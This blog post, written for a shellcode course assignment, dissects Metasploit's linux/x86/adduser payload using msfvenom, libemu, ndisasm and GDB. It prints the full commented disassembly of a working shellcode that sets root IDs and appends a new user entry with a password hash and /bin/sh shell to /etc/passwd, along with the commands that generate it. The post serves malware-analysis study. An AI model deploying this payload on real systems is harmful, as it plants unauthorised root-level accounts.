Analyzing Metasploit’s linux/x86/adduser payload

By August 28, 2018 August 30th, 2018 SLAE-x86

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1134
Assignment number: 5.3
Github repo: https://github.com/kkirsche/SLAE


Introduction

Hey everyone! Today, we’re going to wrap up our shellcode analysis work. Like last time, instead of writing our own assembly code, we’re instead going to analyze the work of someone else.

Requirements

  • Take at least 3 shellcode samples created using msfvenom for x86 Linux
  • Use GDB, ndisasm, and/or libemu to dissect the functionality of the shellcode
  • Present your analysis

As we said before, first off, this isn’t going to be the complete assignment 5, instead, this is going to discuss the final shellcode sample generated using msfvenom for x86 Linux. With that in mind though, we can definitely meet the other two goals.

Our shellcode

So to get started, I had to choose what shellcode I was going to analyze. After looking through msfvenom’s payloads, I found one which seemed like it’d be interesting — the linux/x86/adduser payload by Skape (of egghunter and shell_find_tag fame), vlad902, and spoonm.

I think this one will be interesting to review as I wanted to focus on topics which we didn’t explicitly cover in the SLAE course, such as reading adding a new user using NASM. I mean, does this task have a direct system call?

If we take a look at what options we have, we see there are three core options USER, PASS and SHELL (representing the default shell to spawn when logging in:

msfvenom linux/x86/add_user shellcode options

Looking at these, we do have a number of advanced options which we won’t be working with.

In our case, we’ll stick to the defaults which will simplify the setup required to analyze the shellcode.

Let’s dig into our shellcode though!

Libemu

We’ll start off by analyzing the payload in libemu, which provides the sctest binary for analyzing what a payload does. We’re not going to cover the options, as we previously did in the first shellcode analysis document. But the basics of it is that we’re enabling verbose mode, reading the payload to analyze from stdin, and iterating through up to 10000 steps. If we’re lucky, this will give us pseudocode to start our analysis with.


~ $ msfvenom -p linux/x86/adduser --platform linux -a x86 -e generic/none | sctest -vvv -Ss 10000
verbose = 3
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none succeeded with size 97 (iteration=0)
generic/none chosen with final size 97
Payload size: 97 bytes
[emu 0x0x5591f5004740 debug ] cpu state eip=0x00417000
[emu 0x0x5591f5004740 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x5591f5004740 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x5591f5004740 debug ] Flags:
[emu 0x0x5591f5004740 debug ] cpu state eip=0x00417000
[emu 0x0x5591f5004740 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x5591f5004740 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x5591f5004740 debug ] Flags:
[emu 0x0x5591f5004740 debug ] 31C9 xor ecx,ecx
[emu 0x0x5591f5004740 debug ] cpu state eip=0x00417002
[emu 0x0x5591f5004740 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x5591f5004740 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x5591f5004740 debug ] Flags: PF ZF
[emu 0x0x5591f5004740 debug ] 89CB mov ebx,ecx
[emu 0x0x5591f5004740 debug ] cpu state eip=0x00417004
[emu 0x0x5591f5004740 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x5591f5004740 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x5591f5004740 debug ] Flags: PF ZF
[emu 0x0x5591f5004740 debug ] 6A46 push byte 0x46
[emu 0x0x5591f5004740 debug ] cpu state eip=0x00417006
[emu 0x0x5591f5004740 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x5591f5004740 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x5591f5004740 debug ] Flags: PF ZF
[emu 0x0x5591f5004740 debug ] 58 pop eax
[emu 0x0x5591f5004740 debug ] cpu state eip=0x00417007
[emu 0x0x5591f5004740 debug ] eax=0x00000046 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x5591f5004740 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x5591f5004740 debug ] Flags: PF ZF
[emu 0x0x5591f5004740 debug ] CD80 int 0x80
stepcount 4
[emu 0x0x5591f5004740 debug ] cpu state eip=0x00417009
[emu 0x0x5591f5004740 debug ] eax=0x00000046 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x5591f5004740 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x5591f5004740 debug ] Flags: PF ZF

And, no pseudocode. This sucks, three times in a row without pseudocode. So be it. If we take a look at the execution graph, hopefully we’ll get a bit more. Realistically, I expect we’ll need to drop into ndisasm and walk through the assembly at a lower level to really analyze this.

msfvenom -p linux/x86/adduser --platform linux -a x86 -e generic/none | sctest -vvv -Ss 10000 -G adduser.dot && dot adduser.dot -T png > adduser.png

Sadly, like the second exercise we end up with nothing. Let’s dig in instead via ndisasm

ndisasm

So without an execution graph or pseudocode we need to dig into the assembly itself. Not a big deal. If we generate the assembly using ndisasm we can see:


~ $ msfvenom -p linux/x86/adduser --platform linux -a x86 -e generic/none | ndisasm -u -  ✔
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none succeeded with size 97 (iteration=0)
generic/none chosen with final size 97
Payload size: 97 bytes
00000000 31C9 xor ecx,ecx
00000002 89CB mov ebx,ecx
00000004 6A46 push byte +0x46
00000006 58 pop eax
00000007 CD80 int 0x80
00000009 6A05 push byte +0x5
0000000B 58 pop eax
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx
0000000F 6873737764 push dword 0x64777373
00000014 682F2F7061 push dword 0x61702f2f
00000019 682F657463 push dword 0x6374652f
0000001E 89E3 mov ebx,esp
00000020 41 inc ecx
00000021 B504 mov ch,0x4
00000023 CD80 int 0x80
00000025 93 xchg eax,ebx
00000026 E828000000 call 0x53
0000002B 6D insd
0000002C 657461 gs jz 0x90
0000002F 7370 jnc 0xa1
00000031 6C insb
00000032 6F outsd
00000033 69743A417A2F6449 imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B 736A jnc 0xa7
0000003D 3470 xor al,0x70
0000003F 3449 xor al,0x49
00000041 52 push edx
00000042 633A arpl [edx],di
00000044 303A xor [edx],bh
00000046 303A xor [edx],bh
00000048 3A2F cmp ch,[edi] 0000004A 3A2F cmp ch,[edi] 0000004C 62696E bound ebp,[ecx+0x6e] 0000004F 2F das
00000050 7368 jnc 0xba
00000052 0A598B or bl,[ecx-0x75] 00000055 51 push ecx
00000056 FC cld
00000057 6A04 push byte +0x4
00000059 58 pop eax
0000005A CD80 int 0x80
0000005C 6A01 push byte +0x1
0000005E 58 pop eax
0000005F CD80 int 0x80

So let’s dig into this!

First Function


00000000 31C9 xor ecx,ecx
00000002 89CB mov ebx,ecx
00000004 6A46 push byte +0x46
00000006 58 pop eax
00000007 CD80 int 0x80

So this looks pretty straight forward. We clear ECX by XOR’ing it with itself. We move the value 0x0 into EBX so now both EBX and ECX hold this value. We then pop 0x46 into EAX which is the sys_setreuid16 system call. This sets the real and effective user ID to 0 (root).

This gives us the following commented NASM:


00000000 31C9 xor ecx,ecx ; Zero out ECX
00000002 89CB mov ebx,ecx ; Move 0x0 into EBX
00000004 6A46 push byte +0x46 ; Push SYS_SETREUID16 (0x46 / 70 dec) onto the stack
00000006 58 pop eax ; Pop the system call into EAX
00000007 CD80 int 0x80 ; Call the system call

Second Function

Great start. Let’s keep it up and try part two.


00000009 6A05 push byte +0x5
0000000B 58 pop eax
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx
0000000F 6873737764 push dword 0x64777373
00000014 682F2F7061 push dword 0x61702f2f
00000019 682F657463 push dword 0x6374652f
0000001E 89E3 mov ebx,esp
00000020 41 inc ecx
00000021 B504 mov ch,0x4
00000023 CD80 int 0x80

This is a bit bigger. We first push 0x5 onto the stack and pop it into EAX. This means we’re going to be referencing the SYS_OPEN system call. We then clear out ECX by XOR’ing it with itself, and pushing 0x0 onto the stack. This is going to be our null terminator.

If we work through the dword in reverse, we see 0x6374652f literally translates to cte/ or /etc if we fix the directionality of it. We then have 0x61702f2f which is literally ap//. Thus far we have /etc//pa. Lastly, we have 0x64777373 which reads as dwss. Giving us a full string of /etc/passwd with a null terminator on the stack.

We move a pointer to our string into EBX, increment ECX (which was 0x0, so now it’s 0x1) which is the O_WRONLY open flag. We then move 0x4 into ch giving ECX a value of 0x401 giving us the flag O_WRONLY|O_APPEND, and trigger our interrupt. This gives us the following commented NASM:


00000009 6A05 push byte +0x5 ; SYS_OPEN system call
0000000B 58 pop eax ; pop the system call into EAX
0000000C 31C9 xor ecx,ecx ; Zero out ECX
0000000E 51 push ecx ; NULL string terminator
0000000F 6873737764 push dword 0x64777373 ; dwss
00000014 682F2F7061 push dword 0x61702f2f ; ap//
00000019 682F657463 push dword 0x6374652f ; cte/
0000001E 89E3 mov ebx,esp ; arguments pointer into EBX
00000020 41 inc ecx ; O_WRONLY
00000021 B504 mov ch,0x4 ; O_WRONLY|O_APPEND
00000023 CD80 int 0x80 ; execute the system call

Third Function

Ok, so with that call, we get back our open file descriptor into EAX. Let’s see what happens next.


00000025 93 xchg eax,ebx
00000026 E828000000 call 0x53
0000002B 6D insd
0000002C 657461 gs jz 0x90
0000002F 7370 jnc 0xa1
00000031 6C insb
00000032 6F outsd
00000033 69743A417A2F6449 imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B 736A jnc 0xa7
0000003D 3470 xor al,0x70
0000003F 3449 xor al,0x49
00000041 52 push edx
00000042 633A arpl [edx],di
00000044 303A xor [edx],bh
00000046 303A xor [edx],bh
00000048 3A2F cmp ch,[edi] 0000004A 3A2F cmp ch,[edi] 0000004C 62696E bound ebp,[ecx+0x6e] 0000004F 2F das
00000050 7368 jnc 0xba
00000052 0A598B or bl,[ecx-0x75] 00000055 51 push ecx
00000056 FC cld
00000057 6A04 push byte +0x4
00000059 58 pop eax
0000005A CD80 int 0x80

So this is a big block of instructions. We first store the file descriptor in EBX using xchg.

Next we do a call function but things get a bit hard to read here, so we jump into GDB and step through until we hit this, and we see that after the call, we get a POP ECX instruction.

This loads our string including the username, shell and crypted password into ECX:

If we then stepi, we end up at:


0x080480ab: push 0x4
0x080480ad: pop eax
0x080480ae: int 0x80
0x080480b0: push 0x1
0x080480b2: pop eax
0x080480b3: int 0x80

Where we pop 0x4 (SYS_WRITE system call) into EAX, we already have the file descriptor to /etc//passwd in EBX, and then we perform the write with int 0x80.

We then trigger the exit call using 0x1 in EAX and triggering the interrupt.

The commented NASM:


0x080480ab: push 0x4 ; SYS_WRITE
0x080480ad: pop eax ; pop the call number into EAX
0x080480ae: int 0x80 ; execute SYS_WRITE
0x080480b0: push 0x1 ; SYS_EXIT
0x080480b2: pop eax ; pop the call number into EAX
0x080480b3: int 0x80 ; execute the SYS_EXIT command.

Pulling it all together

As we look at the full shellcode, our final result is:

00000000 31C9 xor ecx,ecx ; Zero out ECX
00000002 89CB mov ebx,ecx ; Move 0x0 into EBX
00000004 6A46 push byte +0x46 ; Push SYS_SETREUID16 (0x46 / 70 dec) onto the stack
00000006 58 pop eax ; Pop the system call into EAX
00000007 CD80 int 0x80 ; Call the system call
00000009 6A05 push byte +0x5 ; SYS_OPEN system call
0000000B 58 pop eax ; pop the system call into EAX
0000000C 31C9 xor ecx,ecx ; Zero out ECX
0000000E 51 push ecx ; NULL string terminator
0000000F 6873737764 push dword 0x64777373 ; dwss
00000014 682F2F7061 push dword 0x61702f2f ; ap//
00000019 682F657463 push dword 0x6374652f ; cte/
0000001E 89E3 mov ebx,esp ; arguments pointer into EBX
00000020 41 inc ecx ; O_WRONLY
00000021 B504 mov ch,0x4 ; O_WRONLY|O_APPEND
00000023 CD80 int 0x80 ; execute the system call
00000025 93 xchg eax,ebx ; move file descriptor into EBX for the SYS_WRITE call
00000026 E828000000 call 0x53 ; use call for the CALL / POP technique of getting a string
0000002B 6D insd ; m
0000002C 657461 gs jz 0x90 ; eta
0000002F 7370 jnc 0xa1 ; sp
00000031 6C insb ; l
00000032 6F outsd ; o
00000033 69743A417A2F6449 imul esi,[edx+edi+0x41],dword 0x49642f7a ; it:Az/dI
0000003B 736A jnc 0xa7 ; sj
0000003D 3470 xor al,0x70 ; 4p
0000003F 3449 xor al,0x49 ; 4l
00000041 52 push edx ; R
00000042 633A arpl [edx],di ; c:
00000044 303A xor [edx],bh ; 0:
00000046 303A xor [edx],bh ; 0:
00000048 3A2F cmp ch,[edi] ; :/
0000004A 3A2F cmp ch,[edi] ; :/
0000004C 62696E bound ebp,[ecx+0x6e] ; bin
0000004F 2F das ; /
00000050 7368 jnc 0xba ; sh
00000052 0A598B or bl,[ecx-0x75] ; Line Feed, POP ECX, MOV
00000055 51 push ecx ; EDX
00000056 FC cld ; -0x4
00000057 6A04 push byte +0x4 ; SYS_WRITE
00000059 58 pop eax ; pop the function call into EAX
0000005A CD80 int 0x80 ; write the data
0000005C 6A01 push byte +0x1 ; SYS_EXIT
0000005E 58 pop eax ; store the function call in EAX
0000005F CD80 int 0x80 ; exit cleanly

You may wonder how line 00000052 translates. 0A is a line feed character, commonly represented by \n in many languages. 598B is then the operation codes for:


~ $ /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > POP ECX
00000000 59 pop ecx
nasm > mov EDX, [ecx-0x4] 00000000 8B51FC mov edx,[ecx-0x4]

This shows us that ndisasm actually got the output wrong here, which is why we had to make sure to fix it via the comments.

This is a great lesson though, that we can’t just blindly trust our tools, we really do need to take the time to read what’s happening, and fully understand it.

Kevin Kirsche

Author Kevin Kirsche

Kevin is a Principal Security Architect with Verizon. He holds the OSCP, OSWP, OSCE, and SLAE certifications. He is interested in learning more about building exploits and advanced penetration testing concepts.

More posts by Kevin Kirsche

Leave a Reply